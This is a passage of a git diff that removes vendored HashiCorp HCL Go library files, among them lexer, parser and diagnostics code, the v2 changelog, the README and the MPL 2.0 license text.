NULL // null - literal_end - identifier_end - - operator_beg - LBRACK // [ - LBRACE // { - COMMA // , - PERIOD // . - COLON // : - - RBRACK // ] - RBRACE // } - - operator_end -) - -var tokens = [...]string{ - ILLEGAL: "ILLEGAL", - - EOF: "EOF", - - NUMBER: "NUMBER", - FLOAT: "FLOAT", - BOOL: "BOOL", - STRING: "STRING", - NULL: "NULL", - - LBRACK: "LBRACK", - LBRACE: "LBRACE", - COMMA: "COMMA", - PERIOD: "PERIOD", - COLON: "COLON", - - RBRACK: "RBRACK", - RBRACE: "RBRACE", -} - -// String returns the string corresponding to the token tok. -func (t Type) String() string { - s := "" - if 0 <= t && t < Type(len(tokens)) { - s = tokens[t] - } - if s == "" { - s = "token(" + strconv.Itoa(int(t)) + ")" - } - return s -} - -// IsIdentifier returns true for tokens corresponding to identifiers and basic -// type literals; it returns false otherwise. -func (t Type) IsIdentifier() bool { return identifier_beg < t && t < identifier_end } - -// IsLiteral returns true for tokens corresponding to basic type literals; it -// returns false otherwise. -func (t Type) IsLiteral() bool { return literal_beg < t && t < literal_end } - -// IsOperator returns true for tokens corresponding to operators and -// delimiters; it returns false otherwise. -func (t Type) IsOperator() bool { return operator_beg < t && t < operator_end } - -// String returns the token's literal text. Note that this is only -// applicable for certain token types, such as token.IDENT, -// token.STRING, etc.. -func (t Token) String() string { - return fmt.Sprintf("%s %s %s", t.Pos.String(), t.Type.String(), t.Text) -} - -// HCLToken converts this token to an HCL token. -// -// The token type must be a literal type or this will panic. -func (t Token) HCLToken() hcltoken.Token { - switch t.Type { - case BOOL: - return hcltoken.Token{Type: hcltoken.BOOL, Text: t.Text} - case FLOAT: - return hcltoken.Token{Type: hcltoken.FLOAT, Text: t.Text} - case NULL: - return hcltoken.Token{Type: hcltoken.STRING, Text: ""} - case NUMBER: - return hcltoken.Token{Type: hcltoken.NUMBER, Text: t.Text} - case STRING: - return hcltoken.Token{Type: hcltoken.STRING, Text: t.Text, JSON: true} - default: - panic(fmt.Sprintf("unimplemented HCLToken for type: %s", t.Type)) - } -} diff --git a/vendor/github.com/hashicorp/hcl/lex.go b/vendor/github.com/hashicorp/hcl/lex.go deleted file mode 100644 index d9993c2928..0000000000 --- a/vendor/github.com/hashicorp/hcl/lex.go +++ /dev/null @@ -1,38 +0,0 @@ -package hcl - -import ( - "unicode" - "unicode/utf8" -) - -type lexModeValue byte - -const ( - lexModeUnknown lexModeValue = iota - lexModeHcl - lexModeJson -) - -// lexMode returns whether we're going to be parsing in JSON -// mode or HCL mode. -func lexMode(v []byte) lexModeValue { - var ( - r rune - w int - offset int - ) - - for { - r, w = utf8.DecodeRune(v[offset:]) - offset += w - if unicode.IsSpace(r) { - continue - } - if r == '{' { - return lexModeJson - } - break - } - - return lexModeHcl -} diff --git a/vendor/github.com/hashicorp/hcl/parse.go b/vendor/github.com/hashicorp/hcl/parse.go deleted file mode 100644 index 1fca53c4ce..0000000000 --- a/vendor/github.com/hashicorp/hcl/parse.go +++ /dev/null @@ -1,39 +0,0 @@ -package hcl - -import ( - "fmt" - - "github.com/hashicorp/hcl/hcl/ast" - hclParser "github.com/hashicorp/hcl/hcl/parser" - jsonParser "github.com/hashicorp/hcl/json/parser" -) - -// ParseBytes accepts as input byte slice and returns ast tree. -// -// Input can be either JSON or HCL -func ParseBytes(in []byte) (*ast.File, error) { - return parse(in) -} - -// ParseString accepts input as a string and returns ast tree. -func ParseString(input string) (*ast.File, error) { - return parse([]byte(input)) -} - -func parse(in []byte) (*ast.File, error) { - switch lexMode(in) { - case lexModeHcl: - return hclParser.Parse(in) - case lexModeJson: - return jsonParser.Parse(in) - } - - return nil, fmt.Errorf("unknown config format") -} - -// Parse parses the given input and returns the root object. -// -// The input format can be either HCL or JSON. -func Parse(input string) (*ast.File, error) { - return parse([]byte(input)) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/CHANGELOG.md b/vendor/github.com/hashicorp/hcl/v2/CHANGELOG.md deleted file mode 100644 index c559ec206f..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/CHANGELOG.md +++ /dev/null @@ -1,90 +0,0 @@ -# HCL Changelog - -## v2.6.0 (June 4, 2020) - -### Enhancements - -* hcldec: Add a new `Spec`, `ValidateSpec`, which allows custom validation of values at decode-time. ([#387](https://github.com/hashicorp/hcl/pull/387)) - -### Bugs Fixed - -* hclsyntax: Fix panic with combination of sequences and null arguments ([#386](https://github.com/hashicorp/hcl/pull/386)) -* hclsyntax: Fix handling of unknown values and sequences ([#386](https://github.com/hashicorp/hcl/pull/386)) - -## v2.5.1 (May 14, 2020) - -### Bugs Fixed - -* hclwrite: handle legacy dot access of numeric indexes. ([#369](https://github.com/hashicorp/hcl/pull/369)) -* hclwrite: Fix panic for dotted full splat (`foo.*`) ([#374](https://github.com/hashicorp/hcl/pull/374)) - -## v2.5.0 (May 6, 2020) - -### Enhancements - -* hclwrite: Generate multi-line objects and maps. ([#372](https://github.com/hashicorp/hcl/pull/372)) - -## v2.4.0 (Apr 13, 2020) - -### Enhancements - -* The Unicode data tables that HCL uses to produce user-perceived "column" positions in diagnostics and other source ranges are now updated to Unicode 12.0.0, which will cause HCL to produce more accurate column numbers for combining characters introduced to Unicode since Unicode 9.0.0. - -### Bugs Fixed - -* json: Fix panic when parsing malformed JSON. ([#358](https://github.com/hashicorp/hcl/pull/358)) - -## v2.3.0 (Jan 3, 2020) - -### Enhancements - -* ext/tryfunc: Optional functions `try` and `can` to include in your `hcl.EvalContext` when evaluating expressions, which allow users to make decisions based on the success of expressions. ([#330](https://github.com/hashicorp/hcl/pull/330)) -* ext/typeexpr: Now has an optional function `convert` which you can include in your `hcl.EvalContext` when evaluating expressions, allowing users to convert values to specific type constraints using the type constraint expression syntax. ([#330](https://github.com/hashicorp/hcl/pull/330)) -* ext/typeexpr: A new `cty` capsule type `typeexpr.TypeConstraintType` which, when used as either a type constraint for a function parameter or as a type constraint for a `hcldec` attribute specification will cause the given expression to be interpreted as a type constraint expression rather than a value expression. ([#330](https://github.com/hashicorp/hcl/pull/330)) -* ext/customdecode: An optional extension that allows overriding the static decoding behavior for expressions either in function arguments or `hcldec` attribute specifications. ([#330](https://github.com/hashicorp/hcl/pull/330)) -* ext/customdecode: New `cty` capsuletypes `customdecode.ExpressionType` and `customdecode.ExpressionClosureType` which, when used as either a type constraint for a function parameter or as a type constraint for a `hcldec` attribute specification will cause the given expression (and, for the closure type, also the `hcl.EvalContext` it was evaluated in) to be captured for later analysis, rather than immediately evaluated. ([#330](https://github.com/hashicorp/hcl/pull/330)) - -## v2.2.0 (Dec 11, 2019) - -### Enhancements - -* hcldec: Attribute evaluation (as part of `AttrSpec` or `BlockAttrsSpec`) now captures expression evaluation metadata in any errors it produces during type conversions, allowing for better feedback in calling applications that are able to make use of this metadata when printing diagnostic messages. ([#329](https://github.com/hashicorp/hcl/pull/329)) - -### Bugs Fixed - -* hclsyntax: `IndexExpr`, `SplatExpr`, and `RelativeTraversalExpr` will now report a source range that covers all of their child expression nodes. Previously they would report only the operator part, such as `["foo"]`, `[*]`, or `.foo`, which was problematic for callers using source ranges for code analysis. ([#328](https://github.com/hashicorp/hcl/pull/328)) -* hclwrite: Parser will no longer panic when the input includes index, splat, or relative traversal syntax. ([#328](https://github.com/hashicorp/hcl/pull/328)) - -## v2.1.0 (Nov 19, 2019) - -### Enhancements - -* gohcl: When decoding into a struct value with some fields already populated, those values will be retained if not explicitly overwritten in the given HCL body, with similar overriding/merging behavior as `json.Unmarshal` in the Go standard library. -* hclwrite: New interface to set the expression for an attribute to be a raw token sequence, with no special processing. This has some caveats, so if you intend to use it please refer to the godoc comments. ([#320](https://github.com/hashicorp/hcl/pull/320)) - -### Bugs Fixed - -* hclwrite: The `Body.Blocks` method was returing the blocks in an indefined order, rather than preserving the order of declaration in the source input. ([#313](https://github.com/hashicorp/hcl/pull/313)) -* hclwrite: The `TokensForTraversal` function (and thus in turn the `Body.SetAttributeTraversal` method) was not correctly handling index steps in traversals, and thus producing invalid results. ([#319](https://github.com/hashicorp/hcl/pull/319)) - -## v2.0.0 (Oct 2, 2019) - -Initial release of HCL 2, which is a new implementating combining the HCL 1 -language with the HIL expression language to produce a single language -supporting both nested configuration structures and arbitrary expressions. - -HCL 2 has an entirely new Go library API and so is _not_ a drop-in upgrade -relative to HCL 1. It's possible to import both versions of HCL into a single -program using Go's _semantic import versioning_ mechanism: - -``` -import ( - hcl1 "github.com/hashicorp/hcl" - hcl2 "github.com/hashicorp/hcl/v2" -) -``` - ---- - -Prior to v2.0.0 there was not a curated changelog. Consult the git history -from the latest v1.x.x tag for information on the changes to HCL 1. diff --git a/vendor/github.com/hashicorp/hcl/v2/LICENSE b/vendor/github.com/hashicorp/hcl/v2/LICENSE deleted file mode 100644 index 82b4de97c7..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/LICENSE +++ /dev/null @@ -1,353 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. “Contributor” - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. “Contributor Version” - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor’s Contribution. - -1.3. “Contribution” - - means Covered Software of a particular Contributor. - -1.4. “Covered Software” - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. “Incompatible With Secondary Licenses” - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of version - 1.1 or earlier of the License, but not also under the terms of a - Secondary License. - -1.6. “Executable Form” - - means any form of the work other than Source Code Form. - -1.7. “Larger Work” - - means a work that combines Covered Software with other material, in a separate - file or files, that is not Covered Software. - -1.8. “License” - - means this document. - -1.9. “Licensable” - - means having the right to grant, to the maximum extent possible, whether at the - time of the initial grant or subsequently, any and all of the rights conveyed by - this License. - -1.10. “Modifications” - - means any of the following: - - a. any file in Source Code Form that results from an addition to, deletion - from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. “Patent Claims” of a Contributor - - means any patent claim(s), including without limitation, method, process, - and apparatus claims, in any patent Licensable by such Contributor that - would be infringed, but for the grant of the License, by the making, - using, selling, offering for sale, having made, import, or transfer of - either its Contributions or its Contributor Version. - -1.12. “Secondary License” - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. “Source Code Form” - - means the form of the work preferred for making modifications. - -1.14. “You” (or “Your”) - - means an individual or a legal entity exercising rights under this - License. For legal entities, “You” includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, “control” means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or as - part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its Contributions - or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution become - effective for each Contribution on the date the Contributor first distributes - such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under this - License. No additional rights or licenses will be implied from the distribution - or licensing of Covered Software under this License. Notwithstanding Section - 2.1(b) above, no patent license is granted by a Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party’s - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of its - Contributions. - - This License does not grant any rights in the trademarks, service marks, or - logos of any Contributor (except as may be necessary to comply with the - notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this License - (see Section 10.2) or under the terms of a Secondary License (if permitted - under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its Contributions - are its original creation(s) or it has sufficient rights to grant the - rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under applicable - copyright doctrines of fair use, fair dealing, or other equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under the - terms of this License. You must inform recipients that the Source Code Form - of the Covered Software is governed by the terms of this License, and how - they can obtain a copy of this License. You may not attempt to alter or - restrict the recipients’ rights in the Source Code Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this License, - or sublicense it under different terms, provided that the license for - the Executable Form does not attempt to limit or alter the recipients’ - rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for the - Covered Software. If the Larger Work is a combination of Covered Software - with a work governed by one or more Secondary Licenses, and the Covered - Software is not Incompatible With Secondary Licenses, this License permits - You to additionally distribute such Covered Software under the terms of - such Secondary License(s), so that the recipient of the Larger Work may, at - their option, further distribute the Covered Software under the terms of - either this License or such Secondary License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices (including - copyright notices, patent notices, disclaimers of warranty, or limitations - of liability) contained within the Source Code Form of the Covered - Software, except that You may alter any license notices to the extent - required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on behalf - of any Contributor. You must make it absolutely clear that any such - warranty, support, indemnity, or liability obligation is offered by You - alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, judicial - order, or regulation then You must: (a) comply with the terms of this License - to the maximum extent possible; and (b) describe the limitations and the code - they affect. Such description must be placed in a text file included with all - distributions of the Covered Software under this License. Except to the - extent prohibited by statute or regulation, such description must be - sufficiently detailed for a recipient of ordinary skill to be able to - understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing basis, - if such Contributor fails to notify You of the non-compliance by some - reasonable means prior to 60 days after You have come back into compliance. - Moreover, Your grants from a particular Contributor are reinstated on an - ongoing basis if such Contributor notifies You of the non-compliance by - some reasonable means, this is the first time You have received notice of - non-compliance with this License from such Contributor, and You become - compliant prior to 30 days after Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, counter-claims, - and cross-claims) alleging that a Contributor Version directly or - indirectly infringes any patent, then the rights granted to You by any and - all Contributors for the Covered Software under Section 2.1 of this License - shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an “as is” basis, without - warranty of any kind, either expressed, implied, or statutory, including, - without limitation, warranties that the Covered Software is free of defects, - merchantable, fit for a particular purpose or non-infringing. The entire - risk as to the quality and performance of the Covered Software is with You. - Should any Covered Software prove defective in any respect, You (not any - Contributor) assume the cost of any necessary servicing, repair, or - correction. This disclaimer of warranty constitutes an essential part of this - License. No use of any Covered Software is authorized under this License - except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from such - party’s negligence to the extent applicable law prohibits such limitation. - Some jurisdictions do not allow the exclusion or limitation of incidental or - consequential damages, so this exclusion and limitation may not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts of - a jurisdiction where the defendant maintains its principal place of business - and such litigation shall be governed by laws of that jurisdiction, without - reference to its conflict-of-law provisions. Nothing in this Section shall - prevent a party’s ability to bring cross-claims or counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject matter - hereof. If any provision of this License is held to be unenforceable, such - provision shall be reformed only to the extent necessary to make it - enforceable. Any law or regulation which provides that the language of a - contract shall be construed against the drafter shall not be used to construe - this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version of - the License under which You originally received the Covered Software, or - under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a modified - version of this License if you rename the license and remove any - references to the name of the license steward (except to note that such - modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses - If You choose to distribute Source Code Form that is Incompatible With - Secondary Licenses under the terms of this version of the License, the - notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, then -You may include the notice in a location (such as a LICENSE file in a relevant -directory) where a recipient would be likely to look for such a notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - “Incompatible With Secondary Licenses” Notice - - This Source Code Form is “Incompatible - With Secondary Licenses”, as defined by - the Mozilla Public License, v. 2.0. diff --git a/vendor/github.com/hashicorp/hcl/v2/README.md b/vendor/github.com/hashicorp/hcl/v2/README.md deleted file mode 100644 index 3d0d509d53..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/README.md +++ /dev/null @@ -1,205 +0,0 @@ -# HCL - -HCL is a toolkit for creating structured configuration languages that are -both human- and machine-friendly, for use with command-line tools. -Although intended to be generally useful, it is primarily targeted -towards devops tools, servers, etc. - -> **NOTE:** This is major version 2 of HCL, whose Go API is incompatible with -> major version 1. Both versions are available for selection in Go Modules -> projects. HCL 2 _cannot_ be imported from Go projects that are not using Go Modules. For more information, see -> [our version selection guide](https://github.com/hashicorp/hcl/wiki/Version-Selection). - -HCL has both a _native syntax_, intended to be pleasant to read and write for -humans, and a JSON-based variant that is easier for machines to generate -and parse. - -The HCL native syntax is inspired by [libucl](https://github.com/vstakhov/libucl), -[nginx configuration](http://nginx.org/en/docs/beginners_guide.html#conf_structure), -and others. - -It includes an expression syntax that allows basic inline computation and, -with support from the calling application, use of variables and functions -for more dynamic configuration languages. - -HCL provides a set of constructs that can be used by a calling application to -construct a configuration language. The application defines which attribute -names and nested block types are expected, and HCL parses the configuration -file, verifies that it conforms to the expected structure, and returns -high-level objects that the application can use for further processing. - -```go -package main - -import ( - "log" - "github.com/hashicorp/hcl/v2/hclsimple" -) - -type Config struct { - LogLevel string `hcl:"log_level"` -} - -func main() { - var config Config - err := hclsimple.DecodeFile("config.hcl", nil, &config) - if err != nil { - log.Fatalf("Failed to load configuration: %s", err) - } - log.Printf("Configuration is %#v", config) -} -``` - -A lower-level API is available for applications that need more control over -the parsing, decoding, and evaluation of configuration. For more information, -see [the package documentation](https://pkg.go.dev/github.com/hashicorp/hcl/v2). - -## Why? - -Newcomers to HCL often ask: why not JSON, YAML, etc? - -Whereas JSON and YAML are formats for serializing data structures, HCL is -a syntax and API specifically designed for building structured configuration -formats. - -HCL attempts to strike a compromise between generic serialization formats -such as JSON and configuration formats built around full programming languages -such as Ruby. HCL syntax is designed to be easily read and written by humans, -and allows _declarative_ logic to permit its use in more complex applications. - -HCL is intended as a base syntax for configuration formats built -around key-value pairs and hierarchical blocks whose structure is well-defined -by the calling application, and this definition of the configuration structure -allows for better error messages and more convenient definition within the -calling application. - -It can't be denied that JSON is very convenient as a _lingua franca_ -for interoperability between different pieces of software. Because of this, -HCL defines a common configuration model that can be parsed from either its -native syntax or from a well-defined equivalent JSON structure. This allows -configuration to be provided as a mixture of human-authored configuration -files in the native syntax and machine-generated files in JSON. - -## Information Model and Syntax - -HCL is built around two primary concepts: _attributes_ and _blocks_. In -native syntax, a configuration file for a hypothetical application might look -something like this: - -```hcl -io_mode = "async" - -service "http" "web_proxy" { - listen_addr = "127.0.0.1:8080" - - process "main" { - command = ["/usr/local/bin/awesome-app", "server"] - } - - process "mgmt" { - command = ["/usr/local/bin/awesome-app", "mgmt"] - } -} -``` - -The JSON equivalent of this configuration is the following: - -```json -{ - "io_mode": "async", - "service": { - "http": { - "web_proxy": { - "listen_addr": "127.0.0.1:8080", - "process": { - "main": { - "command": ["/usr/local/bin/awesome-app", "server"] - }, - "mgmt": { - "command": ["/usr/local/bin/awesome-app", "mgmt"] - }, - } - } - } - } -} -``` - -Regardless of which syntax is used, the API within the calling application -is the same. It can either work directly with the low-level attributes and -blocks, for more advanced use-cases, or it can use one of the _decoder_ -packages to declaratively extract into either Go structs or dynamic value -structures. - -Attribute values can be expressions as well as just literal values: - -```hcl -# Arithmetic with literals and application-provided variables -sum = 1 + addend - -# String interpolation and templates -message = "Hello, ${name}!" - -# Application-provided functions -shouty_message = upper(message) -``` - -Although JSON syntax doesn't permit direct use of expressions, the interpolation -syntax allows use of arbitrary expressions within JSON strings: - -```json -{ - "sum": "${1 + addend}", - "message": "Hello, ${name}!", - "shouty_message": "${upper(message)}" -} -``` - -For more information, see the detailed specifications: - -* [Syntax-agnostic Information Model](spec.md) -* [HCL Native Syntax](hclsyntax/spec.md) -* [JSON Representation](json/spec.md) - -## Changes in 2.0 - -Version 2.0 of HCL combines the features of HCL 1.0 with those of the -interpolation language HIL to produce a single configuration language that -supports arbitrary expressions. - -This new version has a completely new parser and Go API, with no direct -migration path. Although the syntax is similar, the implementation takes some -very different approaches to improve on some "rough edges" that existed with -the original implementation and to allow for more robust error handling. - -It's possible to import both HCL 1 and HCL 2 into the same program using Go's -_semantic import versioning_ mechanism: - -```go -import ( - hcl1 "github.com/hashicorp/hcl" - hcl2 "github.com/hashicorp/hcl/v2" -) -``` - -## Acknowledgements - -HCL was heavily inspired by [libucl](https://github.com/vstakhov/libucl), -by [Vsevolod Stakhov](https://github.com/vstakhov). - -HCL and HIL originate in [HashiCorp Terraform](https://terraform.io/), -with the original parsers for each written by -[Mitchell Hashimoto](https://github.com/mitchellh). - -The original HCL parser was ported to pure Go (from yacc) by -[Fatih Arslan](https://github.com/fatih). The structure-related portions of -the new native syntax parser build on that work. - -The original HIL parser was ported to pure Go (from yacc) by -[Martin Atkins](https://github.com/apparentlymart). The expression-related -portions of the new native syntax parser build on that work. - -HCL 2, which merged the original HCL and HIL languages into this single new -language, builds on design and prototyping work by -[Martin Atkins](https://github.com/apparentlymart) in -[zcl](https://github.com/zclconf/go-zcl). diff --git a/vendor/github.com/hashicorp/hcl/v2/appveyor.yml b/vendor/github.com/hashicorp/hcl/v2/appveyor.yml deleted file mode 100644 index e382f8f571..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/appveyor.yml +++ /dev/null @@ -1,13 +0,0 @@ -build: off - -clone_folder: c:\gopath\src\github.com\hashicorp\hcl - -environment: - GOPATH: c:\gopath - GO111MODULE: on - GOPROXY: https://goproxy.io - -stack: go 1.12 - -test_script: - - go test ./... diff --git a/vendor/github.com/hashicorp/hcl/v2/diagnostic.go b/vendor/github.com/hashicorp/hcl/v2/diagnostic.go deleted file mode 100644 index c80535b7a7..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/diagnostic.go +++ /dev/null @@ -1,143 +0,0 @@ -package hcl - -import ( - "fmt" -) - -// DiagnosticSeverity represents the severity of a diagnostic. -type DiagnosticSeverity int - -const ( - // DiagInvalid is the invalid zero value of DiagnosticSeverity - DiagInvalid DiagnosticSeverity = iota - - // DiagError indicates that the problem reported by a diagnostic prevents - // further progress in parsing and/or evaluating the subject. - DiagError - - // DiagWarning indicates that the problem reported by a diagnostic warrants - // user attention but does not prevent further progress. It is most - // commonly used for showing deprecation notices. - DiagWarning -) - -// Diagnostic represents information to be presented to a user about an -// error or anomaly in parsing or evaluating configuration. -type Diagnostic struct { - Severity DiagnosticSeverity - - // Summary and Detail contain the English-language description of the - // problem. Summary is a terse description of the general problem and - // detail is a more elaborate, often-multi-sentence description of - // the problem and what might be done to solve it. - Summary string - Detail string - - // Subject and Context are both source ranges relating to the diagnostic. - // - // Subject is a tight range referring to exactly the construct that - // is problematic, while Context is an optional broader range (which should - // fully contain Subject) that ought to be shown around Subject when - // generating isolated source-code snippets in diagnostic messages. - // If Context is nil, the Subject is also the Context. - // - // Some diagnostics have no source ranges at all. If Context is set then - // Subject should always also be set. - Subject *Range - Context *Range - - // For diagnostics that occur when evaluating an expression, Expression - // may refer to that expression and EvalContext may point to the - // EvalContext that was active when evaluating it. This may allow for the - // inclusion of additional useful information when rendering a diagnostic - // message to the user. - // - // It is not always possible to select a single EvalContext for a - // diagnostic, and so in some cases this field may be nil even when an - // expression causes a problem. - // - // EvalContexts form a tree, so the given EvalContext may refer to a parent - // which in turn refers to another parent, etc. For a full picture of all - // of the active variables and functions the caller must walk up this - // chain, preferring definitions that are "closer" to the expression in - // case of colliding names. - Expression Expression - EvalContext *EvalContext -} - -// Diagnostics is a list of Diagnostic instances. -type Diagnostics []*Diagnostic - -// error implementation, so that diagnostics can be returned via APIs -// that normally deal in vanilla Go errors. -// -// This presents only minimal context about the error, for compatibility -// with usual expectations about how errors will present as strings. -func (d *Diagnostic) Error() string { - return fmt.Sprintf("%s: %s; %s", d.Subject, d.Summary, d.Detail) -} - -// error implementation, so that sets of diagnostics can be returned via -// APIs that normally deal in vanilla Go errors. -func (d Diagnostics) Error() string { - count := len(d) - switch { - case count == 0: - return "no diagnostics" - case count == 1: - return d[0].Error() - default: - return fmt.Sprintf("%s, and %d other diagnostic(s)", d[0].Error(), count-1) - } -} - -// Append appends a new error to a Diagnostics and return the whole Diagnostics. -// -// This is provided as a convenience for returning from a function that -// collects and then returns a set of diagnostics: -// -// return nil, diags.Append(&hcl.Diagnostic{ ... }) -// -// Note that this modifies the array underlying the diagnostics slice, so -// must be used carefully within a single codepath. It is incorrect (and rude) -// to extend a diagnostics created by a different subsystem. -func (d Diagnostics) Append(diag *Diagnostic) Diagnostics { - return append(d, diag) -} - -// Extend concatenates the given Diagnostics with the receiver and returns -// the whole new Diagnostics. -// -// This is similar to Append but accepts multiple diagnostics to add. It has -// all the same caveats and constraints. -func (d Diagnostics) Extend(diags Diagnostics) Diagnostics { - return append(d, diags...) -} - -// HasErrors returns true if the receiver contains any diagnostics of -// severity DiagError. -func (d Diagnostics) HasErrors() bool { - for _, diag := range d { - if diag.Severity == DiagError { - return true - } - } - return false -} - -func (d Diagnostics) Errs() []error { - var errs []error - for _, diag := range d { - if diag.Severity == DiagError { - errs = append(errs, diag) - } - } - - return errs -} - -// A DiagnosticWriter emits diagnostics somehow. -type DiagnosticWriter interface { - WriteDiagnostic(*Diagnostic) error - WriteDiagnostics(Diagnostics) error -} diff --git a/vendor/github.com/hashicorp/hcl/v2/diagnostic_text.go b/vendor/github.com/hashicorp/hcl/v2/diagnostic_text.go deleted file mode 100644 index 0b4a2629b9..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/diagnostic_text.go +++ /dev/null @@ -1,311 +0,0 @@ -package hcl - -import ( - "bufio" - "bytes" - "errors" - "fmt" - "io" - "sort" - - wordwrap "github.com/mitchellh/go-wordwrap" - "github.com/zclconf/go-cty/cty" -) - -type diagnosticTextWriter struct { - files map[string]*File - wr io.Writer - width uint - color bool -} - -// NewDiagnosticTextWriter creates a DiagnosticWriter that writes diagnostics -// to the given writer as formatted text. -// -// It is designed to produce text appropriate to print in a monospaced font -// in a terminal of a particular width, or optionally with no width limit. -// -// The given width may be zero to disable word-wrapping of the detail text -// and truncation of source code snippets. -// -// If color is set to true, the output will include VT100 escape sequences to -// color-code the severity indicators. It is suggested to turn this off if -// the target writer is not a terminal. -func NewDiagnosticTextWriter(wr io.Writer, files map[string]*File, width uint, color bool) DiagnosticWriter { - return &diagnosticTextWriter{ - files: files, - wr: wr, - width: width, - color: color, - } -} - -func (w *diagnosticTextWriter) WriteDiagnostic(diag *Diagnostic) error { - if diag == nil { - return errors.New("nil diagnostic") - } - - var colorCode, highlightCode, resetCode string - if w.color { - switch diag.Severity { - case DiagError: - colorCode = "\x1b[31m" - case DiagWarning: - colorCode = "\x1b[33m" - } - resetCode = "\x1b[0m" - highlightCode = "\x1b[1;4m" - } - - var severityStr string - switch diag.Severity { - case DiagError: - severityStr = "Error" - case DiagWarning: - severityStr = "Warning" - default: - // should never happen - severityStr = "???????" - } - - fmt.Fprintf(w.wr, "%s%s%s: %s\n\n", colorCode, severityStr, resetCode, diag.Summary) - - if diag.Subject != nil { - 